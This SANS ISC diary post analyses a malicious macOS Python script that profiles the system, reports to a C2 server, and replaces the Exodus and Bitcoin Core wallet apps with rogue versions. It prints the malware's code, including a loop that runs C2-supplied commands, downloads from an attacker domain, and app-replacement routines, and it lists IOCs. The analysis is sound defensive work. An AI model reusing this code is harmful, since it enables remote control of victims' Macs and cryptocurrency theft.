macOS Python Script Replacing Wallet Applications with Rogue Apps

Still today, many people think that Apple and its macOS are less targeted by malware. But the landscape is changing and threats are emerging in this ecosystem too[1]. Here is a good example: I found a malicious Python script targeting wallet application on macOS.

The script is not obfuscated and is easy to understand. The Virustotal score[2] remains low (3/59). What does it do? It targets two applications: Exodus[3] and Bitcoin Core[4]. It searches for occurrences of these applications:

def get_installed_apps():
    processor_series = is_mac_intel()
    application_paths = ['/Applications', '/System/Applications']
    app_names = []

    for applications_path in application_paths:
        try:
            app_dirs = os.listdir(applications_path)
        except FileNotFoundError:
            # If the directory is not found, skip to the next
            continue

        for app in app_dirs:
            if app.endswith('.app'):
                app_name = app[:-4]  # Remove the '.app' extension
                app_path = os.path.join(applications_path, app)

                # Special handling for "Exodus" app
                if app_name == "Exodus":
                    exodus_path = os.path.join(applications_path, 'Exodus.app')
                    size_in_mb = get_dir_size(exodus_path) / (1024 * 1024)  # Convert bytes to megabytes
                    if size_in_mb < 2:
                        app_name = '*' + app_name

                # Special handling for "Bitcoin-Qt" app
                if app_name == "Bitcoin-Qt":
                    hash_val = hash_directory(app_path)
                    if hash_val in ['07c20b191203d55eca8f7b238ac67380a73aba1103f5513c125870a40a963ded',
                                    '51ffe30ec2815b71e3ca63a92272c548fa75961bc141057676edd53917c638da']:
                        app_name = '*' + app_name
                app_names.append(app_name)

    # Join the application names into a single string
    sorted_app_names = sorted(app_names)
    apps_string = ', '.join(sorted_app_names)
    return f"Processor Series: {'Intel' if processor_series else 'M1'}, Installed Apps: {apps_string}"

Note that it also checks the architecture (Intel or M1).

Once started, the script exfiltrates some info to the C2 server:

r = send(d(meta_version) + b(1) + d(meta_guid))
...
s = b''
if up:
    print("getting upload")
    s = json.dumps({
        "os": platform.platform() or "empty",
        "cm": get_subfolders("/USERS/") or "empty",
        "av": "",
        "apps": get_installed_apps() or "empty",
        "ip": meta_ip,
        "ver": ""
    }, indent=None).encode('utf8')
    print("getting upload ok {}".format(s))
...
print("ping start {}".format(meta_version))
r = send(d(meta_version) + b(2) + d(uid) + s)

The C2 server might reply with some Python commands to be executed on the victim’s computer:

if len(r) > 4:
    print("cmd start")
    s = r[4:].decode()
    cmd = s.split('rn')
    for c in cmd:
        p = subprocess.Popen([sys.executable], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        o = p.communicate(input=base64.b64decode(c), timeout=10)[0]
    print("cmd end")

Then, the script will replace applications. The first target is Exodus:

def check_exodus_and_hash():
    apps_string = get_installed_apps()
    if 'Exodus' in apps_string:
        exodus_path = '/Applications/Exodus.app'
        size_in_mb = get_dir_size(exodus_path) / (1024 * 1024)  # Convert bytes to megabytes
    if size_in_mb < 2:
        print("less than 2MB")
    else:
        if not os.path.exists("/Applications/Exodus.app"):
            print("exodus not installed")
            exit(0)
    print("exodus start")
    process_name = "Exodus"
    while True:
          if is_process_running(process_name):
              time.sleep(30)
          else:
               ar = '/tmp/' + str(uuid.uuid4())
               os.mkdir(ar)
               zapp = ar + '/e.zip'
               scpt = ar + '/e.scpt'
               icn = ar + "/applet.icns"
               zelec = ar + "/elec.zip"
               realelecurl = is_mac_intelElectronUrl()
               download_file_with_progress(realelecurl, zelec)
               download_file_with_progress("http://apple-analyser.com/f/app.zip", zapp)
               download_file_with_progress("http://apple-analyser.com/f/Exodus.scpt", scpt)
               download_file_with_progress("http://apple-analyser.com/f/applet.icns", icn)
               subprocess.run(['unzip', "-o", zelec, '-d', "/Users/{}/electron".format(getpass.getuser())])
               subprocess.run(['unzip', "-o", zapp, '-d', "/Users/{}/exodus".format(getpass.getuser())])
               subprocess.run(['osacompile', '-o', ar + '/Exodus.app', scpt])
               shutil.copyfile(icn, ar + '/Exodus.app/Contents/Resources/applet.icns')
               shutil.rmtree("/Applications/Exodus.app")
               shutil.copytree(ar + '/Exodus.app', "/Applications/Exodus.app")
               print("exodus ok")
               time.sleep(10)
               delete_directory(ar)
               break

The script downloads a fake Exodus app, an instance of the Electron framework[5], an Apple Script file (a .scpt file), and an icon (a .icns file). By reading the line above, you can see that files are extracted, and a new app is built via the “osacompile” tool[6] to compile Apple Scripts (note that this tool requires Xcode to be installed!)

The official app is replaced by an Apple Script. That’s why an icon file has been downloaded, it will replace the default icon and mimick a valid Exodus:

For the second app, it’s easier: It is just replaced:

def check_btccore_and_hash():
    apps_string = get_installed_apps()
    if 'Bitcoin-Qt' in apps_string:
        app_url = is_mac_intelBtcUrl()
        app_name = "Bitcoin-Qt.app"
        applications_dir = "/Applications/Bitcoin-Qt.app"
        expected_hash = is_mac_intelBtcHash()
        file_hash = hash_directory(applications_dir)
        if file_hash != expected_hash:
            if not os.path.exists("/Applications/Bitcoin-Qt.app"):
                print("btccore not installed")
                exit(0)
            print("btccore start")
            while True:
                if is_process_running("Bitcoin-Qt"):
                    time.sleep(30)
                else:
                    try:
                       ar = '/tmp/' + str(uuid.uuid4())
                       os.mkdir(ar)
                       temp_zip_path = ar + '/Bitcoin-Qt.zip'
                       download_file_with_progress(app_url, temp_zip_path)
                       remove_file(applications_dir)
                       time.sleep(3)
                       subprocess.run(['unzip', temp_zip_path, '-d', "/Applications"])
                       time.sleep(5)
                       subprocess.run(["chmod", "775","/Applications/Bitcoin-Qt.app/Contents/MacOS/Bitcoin-Qt"])
                       time.sleep(5)
                       delete_directory(ar)
                       break  # Move the break statement outside of the except block
                    except Exception as e:
                       print(f"Error downloading file: {e}")
                       sys.exit(1)

What’s the purpose of the installed rogue application? I did not detect suspicious traffic but my analysis skills with macOS binaries are low. If you have more information, please share it with us!

Here are two interesting IOCs: The domains used by the scripts to fetch payloads and talk to the C2:

  • apple-analysis[.]com
  • apple-health[.]org

[1] https://www.sentinelone.com/blog/macos-malware-2023-a-deep-dive-into-emerging-trends-and-evolving-techniques/
[2] https://www.virustotal.com/gui/file/f6bb428efdb66da56f43d7fd7affce482c47846ee8083b3740d2e4ce541319c0
[3] https://www.exodus.com/desktop/
[4] https://bitcoin.org/en/wallets/desktop/mac/bitcoincore/
[5] https://www.electronjs.org/
[6] https://ss64.com/mac/osacompile.html

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

Source: https://isc.sans.edu/diary/rss/30572